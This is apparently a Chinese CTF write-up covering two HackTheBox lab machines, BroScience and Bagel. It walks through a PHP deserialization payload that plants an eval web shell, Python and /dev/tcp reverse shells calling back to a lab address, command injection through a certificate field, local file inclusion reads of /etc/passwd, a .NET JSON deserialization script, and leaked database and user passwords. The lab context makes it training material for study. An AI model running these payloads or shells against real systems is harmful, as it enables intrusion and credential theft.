19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Avatar {
public $imgPath;

public function __construct($imgPath) {
$this->imgPath = $imgPath;
}

public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}

class AvatarInterface {
public $tmp;
public $imgPath;

public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}

class UserPrefs {
public $theme;

public function __construct($theme = "light") {
$this->theme = $theme;
}
}

function payload()
{
$BFL = new UserPrefs();
$BFL->theme = new AvatarInterface();
$BFL->theme->imgPath = "/var/www/html/BFL.php";
$BFL->theme->tmp = "php://input";
echo base64_encode(serialize($BFL));
}
payload();
?>

生成Payload

1
php -f payload.php
1
Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO086MTU6IkF2YXRhckludGVyZmFjZSI6Mjp7czozOiJ0bXAiO3M6MTE6InBocDovL2lucHV0IjtzOjc6ImltZ1BhdGgiO3M6MjE6Ii92YXIvd3d3L2h0bWwvQkZMLnBocCI7fX0=

PHPSESSID为登陆后服务器给的值

1
curl https://broscience.htb/swap_theme.php -H "Cookie: PHPSESSID=5l9ql8diuiej262srrp4chu47e; user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO086MTU6IkF2YXRhckludGVyZmFjZSI6Mjp7czozOiJ0bXAiO3M6MTE6InBocDovL2lucHV0IjtzOjc6ImltZ1BhdGgiO3M6MjE6Ii92YXIvd3d3L2h0bWwvQkZMLnBocCI7fX0=" -d '<?php @eval($_POST["BFL"]);?>' --insecure

即可在/var/www/html/BFL.php写入内容<?php @eval($_POST["BFL"]);?>

构造反弹Shell语句

1
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.*.*',9998));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

监听

1
nc -lvnp 9998

进行反弹Shell

1
curl https://broscience.htb/BFL.php -d 'BFL=system(base64_decode("BASE64_ENCODED_PAYLOAD"));' --insecure

获取Shell之后获取tty并查看端口监听信息

1
2
3
cd /tmp/
python3 -c 'import pty; pty.spawn("/bin/bash")'
netstat -antlp
1
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -

确认5432端口有服务在运行中

使用chisel进行端口转发

1
2
./chisel_1.8.1_linux_amd64 server -p 9997 --reverse &
python -m http.server 80
1
2
3
wget 10.10.16.3/chisel_1.8.1_linux_amd64
chmod +x chisel_1.8.1_linux_amd64
./chisel_1.8.1_linux_amd64 client 10.10.16.3:9997 R:9996:127.0.0.1:5432

在本机上连接postgresql

1
2
psql -h 0.0.0.0 -p 9996 -U dbuser -d broscience -W
RangeOfMotion%777

查看数据库

1
\l
1
2
3
4
5
6
7
8
9
10
11
                                                  List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges
------------+----------+----------+-------------+-------------+------------+-----------------+-----------------------
broscience | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | libc |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | libc |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
(4 rows)

查看数据库broscience中的表

1
2
3
\c broscience
RangeOfMotion%777
\dt
1
2
3
4
5
6
7
           List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(3 rows)

查看users表中数据

1
SELECT * FROM users;
1
2
3
4
5
6
7
8
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)

构造Hash如下

1
cat hash
1
2
3
4
5
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl

爆破Hash

1
hashcat -m 20 hash /usr/share/wordlists/rockyou.txt

得到如下凭证

1
2
3
bill:iluvhorsesandgym
dmytro:Aaronthehottest
michael:2applesplus2apples

尝试登入SSH服务

1
2
ssh bill@10.10.11.195
iluvhorsesandgym

登入成功,查看user.txt

1
cat /home/bill/user.txt
1
8ca51558ef17c2ec059b606e71696280

权限提升

传递pspy

1
python -m http.server 80
1
2
3
4
cd /tmp
wget 10.10.*.*/pspy64
chmod +x pspy64
./pspy64
1
2023/03/23 12:54:01 CMD: UID=0     PID=14400  | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

查看/opt/renew_cert.sh

1
cat /opt/renew_cert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi

if [ -f $1 ]; then

openssl x509 -in $1 -noout -checkend 86400 > /dev/null

if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi

subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)

country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";

echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null

/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;

This is a bash script that takes a path to a certificate file as its argument and checks if the certificate needs to be renewed. If it needs to be renewed, it generates a new certificate with the same subject and places it in a specific directory.
Here’s a brief rundown of what the script does:

  1. The script checks if the correct number of arguments have been provided and prints a usage message if they haven’t.
  2. It then checks if the certificate file exists, and if it doesn’t, it prints an error message and exits.
  3. If the certificate file exists, the script checks if the certificate needs to be renewed by using the openssl command to check if the certificate is still valid for at least 24 hours (86400 seconds) using the -checkend option. If the certificate doesn’t need to be renewed, it prints a message and exits.
  4. If the certificate needs to be renewed, the script extracts the subject fields from the certificate using the openssl command and assigns them to variables for later use.
  5. The script then prints the subject fields to the console.
  6. It then generates a new certificate using the openssl command with the req subcommand to generate a self-signed certificate. The certificate is generated with a validity period of 365 days, a key length of 4096 bits, and the same subject fields as the original certificate.
  7. Finally, the script moves the newly generated certificate to a specific directory with the filename as the common name extracted from the subject of the original certificate, followed by the .crt extension.
    – Generated By ChatGPT

构造一个24小时后过期的证书

1
2
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/bfl.key -out /tmp/bfl.crt -days 1
cp /tmp/bfl.crt /home/bill/Certs/broscience.crt

其中在commonName字段填入如下Payload $(bash -i >& /dev/tcp/10.10.*.*/9995 0>&1)

监听

1
nc -lvnp 9995

执行计划任务触发反弹Shell

查看root.txt

1
cat /root/root.txt
1
fc289e7710721538f1ae8054f35af549

一开始把5432端口的数据库当成Mysql了,弄半天连不上还以为是端口转发工具的问题,难绷


HackTheBox_Bagel

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.201
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Nmap scan report for 10.10.11.201
Host is up (0.51s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
5000/tcp open upnp?
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.80%I=7%D=3/25%Time=641E89C8%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Microsoft
SF:-NetCore/2\.0\r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2005:42:31\x20GMT\
SF:r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-N
SF:etCore/2\.0\r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2005:42:32\x20GMT\r\
SF:nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r
SF:\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(version\)
SF:\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSer
SF:ver:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2
SF:005:42:48\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20M
SF:icrosoft-NetCore/2\.0\r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2005:43:00
SF:\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:
SF:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\
SF:(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\
SF:r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2005:43:00\x20GMT\r\nContent-Len
SF:gth:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Ba
SF:d\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(
SF:TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Sat
SF:,\x2025\x20Mar\x202023\x2005:43:01\x20GMT\r\nContent-Length:\x2052\r\nC
SF:onnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x2
SF:0\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessionReq,E
SF:6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\n
SF:Server:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Sat,\x2025\x20Mar\x202023
SF:\x2005:43:02\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\
SF:nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\
SF:x20line\x20\(parts\)\.\)</h1>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.80%I=7%D=3/25%Time=641E89C3%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.10\.9\r\nDate:\x20Sat,\x2025\x20Mar\x202023\x2005:42:26\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html\r\nCo
SF:nnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title
SF:>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20shoul
SF:d\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL:\x
SF:20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http://bagel
SF:\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the\x20li
SF:nk\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nS
SF:erver:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Sat,\x2025\x2
SF:0Mar\x202023\x2005:42:32\x20GMT\r\nContent-Type:\x20text/html;\x20chars
SF:et=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doc
SF:type\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<
SF:h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found
SF:\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manu
SF:ally\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p
SF:>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTM
SF:L\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org
SF:/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\
SF:x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x04\\x0
SF:0\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20
SF:-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x2
SF:0\x20\x20\x20</body>\n</html>\n");

路径枚举

获得域名

1
curl -I 10.10.11.201:8000
1
2
3
4
5
6
7
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Sat, 25 Mar 2023 05:42:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close

添加域名解析

1
echo -e '10.10.11.201\tbagel.htb' >> /etc/hosts

8000端口 Python Web服务
5000端口直接400
扫个锤子的路径

漏洞利用

重定向到http://bagel.htb:8000/?page=index.html

LFI

1
curl http://bagel.htb:8000/?page=../../../../etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false

尝试读取WEB代码文件

app.py or index.py or main.py

1
curl http://bagel.htb:8000/?page=../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

这里提到dll文件和SSH key

编写cmdline.py如下,用于枚举进程命令

1
2
3
4
5
6
7
8
# cmdline.py
import requests

req = requests.session()
url = "http://bagel.htb:8000/?page=../../../../proc/%d/cmdline"
for _ in range(0, 2000):
res = req.get(url % _)
print("%s: %s" % (_, res.text))

找到一个相关命令

1
891: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll

/proc/$pid/cmdline\x20会变成\x00

所以原始命令如下

1
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll

获取bagel.dll

1
curl http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll -o /tmp/bagel.dll

官方论坛上有人提到ilspycmd

dotnet tool install --global ilspycmd --version 7.2.1.6856

但是我以global安装后ilspycmd没有出现在PATH路径下
懒得找了,以local方式安装吧

1
2
3
dotnet new tool-manifest
dotnet tool install ilspycmd
dotnet tool run ilspycmd /tmp/bagel.dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using System.Text;
using System.Threading;
using Microsoft.CodeAnalysis;
using Microsoft.Data.SqlClient;
using Newtonsoft.Json;
using WatsonWebsocket;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
[assembly: TargetFramework(".NETCoreApp,Version=v6.0", FrameworkDisplayName = "")]
[assembly: AssemblyCompany("bagel")]
[assembly: AssemblyConfiguration("Debug")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyInformationalVersion("1.0.0")]
[assembly: AssemblyProduct("bagel")]
[assembly: AssemblyTitle("bagel")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Microsoft.CodeAnalysis
{
[CompilerGenerated]
[Embedded]
internal sealed class EmbeddedAttribute : Attribute
{
}
}
namespace System.Runtime.CompilerServices
{
[CompilerGenerated]
[Microsoft.CodeAnalysis.Embedded]
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, AllowMultiple = false, Inherited = false)]
internal sealed class NullableAttribute : Attribute
{
public readonly byte[] NullableFlags;

public NullableAttribute(byte P_0)
{
NullableFlags = new byte[1] { P_0 };
}

public NullableAttribute(byte[] P_0)
{
NullableFlags = P_0;
}
}
[CompilerGenerated]
[Microsoft.CodeAnalysis.Embedded]
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Interface | AttributeTargets.Delegate, AllowMultiple = false, Inherited = false)]
internal sealed class NullableContextAttribute : Attribute
{
public readonly byte Flag;

public NullableContextAttribute(byte P_0)
{
Flag = P_0;
}
}
}
namespace bagel_server
{
public class Handler
{
public object Serialize(object obj)
{
//IL_0003: Unknown result type (might be due to invalid IL or missing references)
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
JsonSerializerSettings val = new JsonSerializerSettings();
val.set_TypeNameHandling((TypeNameHandling)4);
return JsonConvert.SerializeObject(obj, (Formatting)1, val);
}

public object Deserialize(string json)
{
//IL_0003: Unknown result type (might be due to invalid IL or missing references)
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
try
{
JsonSerializerSettings val = new JsonSerializerSettings();
val.set_TypeNameHandling((TypeNameHandling)4);
return JsonConvert.DeserializeObject<Base>(json, val);
}
catch
{
return "{\"Message\":\"unknown\"}";
}
}
}
public class Bagel
{
private static string _ServerIp = "*";

private static int _ServerPort = 5000;

private static bool _Ssl = false;

private static WatsonWsServer _Server = null;

private static void Main(string[] args)
{
InitializeServer();
StartServer();
while (true)
{
Thread.Sleep(1000);
}
}

private static void InitializeServer()
{
//IL_0010: Unknown result type (might be due to invalid IL or missing references)
//IL_001a: Expected O, but got Unknown
_Server = new WatsonWsServer(_ServerIp, _ServerPort, _Ssl);
_Server.set_AcceptInvalidCertificates(true);
_Server.add_MessageReceived((EventHandler<MessageReceivedEventArgs>)MessageReceived);
}

private static async void StartServer()
{
await _Server.StartAsync(default(CancellationToken));
}

private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
if (args.get_Data() != null && args.get_Data().Count > 0)
{
json = Encoding.UTF8.GetString(args.get_Data().Array, 0, args.get_Data().Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
_Server.SendAsync(args.get_IpPort(), obj2.ToString(), default(CancellationToken));
}
}
public class Base : Orders
{
private int userid = 0;

private string session = "Unauthorized";

public int UserId
{
get
{
return userid;
}
set
{
userid = value;
}
}

public string Session
{
get
{
return session;
}
set
{
session = value;
}
}

public string Time => DateTime.Now.ToString("h:mm:ss");
}
public class Orders
{
private string order_filename;

private string order_info;

private File file = new File();

public object RemoveOrder { get; set; }

public string WriteOrder
{
get
{
return file.WriteFile;
}
set
{
order_info = value;
file.WriteFile = order_info;
}
}

public string ReadOrder
{
get
{
return file.ReadFile;
}
set
{
order_filename = value;
order_filename = order_filename.Replace("/", "");
order_filename = order_filename.Replace("..", "");
file.ReadFile = order_filename;
}
}
}
public class File
{
private string file_content;

private string IsSuccess = null;

private string directory = "/opt/bagel/orders/";

private string filename = "orders.txt";

public string ReadFile
{
get
{
return file_content;
}
set
{
filename = value;
ReadContent(directory + filename);
}
}

public string WriteFile
{
get
{
return IsSuccess;
}
set
{
WriteContent(directory + filename, value);
}
}

public void ReadContent(string path)
{
try
{
IEnumerable<string> values = System.IO.File.ReadLines(path, Encoding.UTF8);
file_content += string.Join("\n", values);
}
catch (Exception)
{
file_content = "Order not found!";
}
}

public void WriteContent(string filename, string line)
{
try
{
System.IO.File.WriteAllText(filename, line);
IsSuccess = "Operation successed";
}
catch (Exception)
{
IsSuccess = "Operation failed";
}
}
}
public class DB
{
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_000e: Expected O, but got Unknown
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection val = new SqlConnection(text);
string text2 = "INSERT INTO orders (Name,Address,Count,Type) VALUES ('Eliot','Street',4,'Baggel')";
}
}
}

可能有用的凭证developer:k8wdAYYKyhnjg3K

1
developer@10.10.11.201: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

看来不是用来SSH口令登录的

1
curl http://bagel.htb:8000/?page=../../../../proc/self/status | cat
1
2
3
4
5
6
7
8
9
10
Name:	python3
Umask: 0022
State: S (sleeping)
Tgid: 893
Ngid: 0
Pid: 893
PPid: 1
TracerPid: 0
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
1
curl http://bagel.htb:8000/?page=../../../../proc/891/status | cat
1
2
3
4
5
6
7
8
9
10
Name:	dotnet
Umask: 0022
State: S (sleeping)
Tgid: 891
Ngid: 0
Pid: 891
PPid: 1
TracerPid: 0
Uid: 1001 1001 1001 1001
Gid: 1001 1001 1001 1001

8000端口的WEB服务所有者为用户developer,5000端口的WS服务所有者为用户phil

https://www.cnblogs.com/nice0e3/p/15294585.html
https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15

1
2
JsonSerializerSettings val = new JsonSerializerSettings();
val.set_TypeNameHandling((TypeNameHandling)4);

反序列化设置TypeNameHandling为,即auto,所以我们可以利用对象RemoveOrder利用反序列化在处理typeName时的漏洞

编写ws.py如下

1
2
3
4
5
6
7
8
9
10
11
12
# ws.py
import json
import sys
import websocket

ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile":"../../..%s" % sys.argv[1]}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

$type的值为程序集限定名,即调用bagel(程序集名称,貌似可以粗略理解为dll的文件名)中命名空间bagel_serverFile
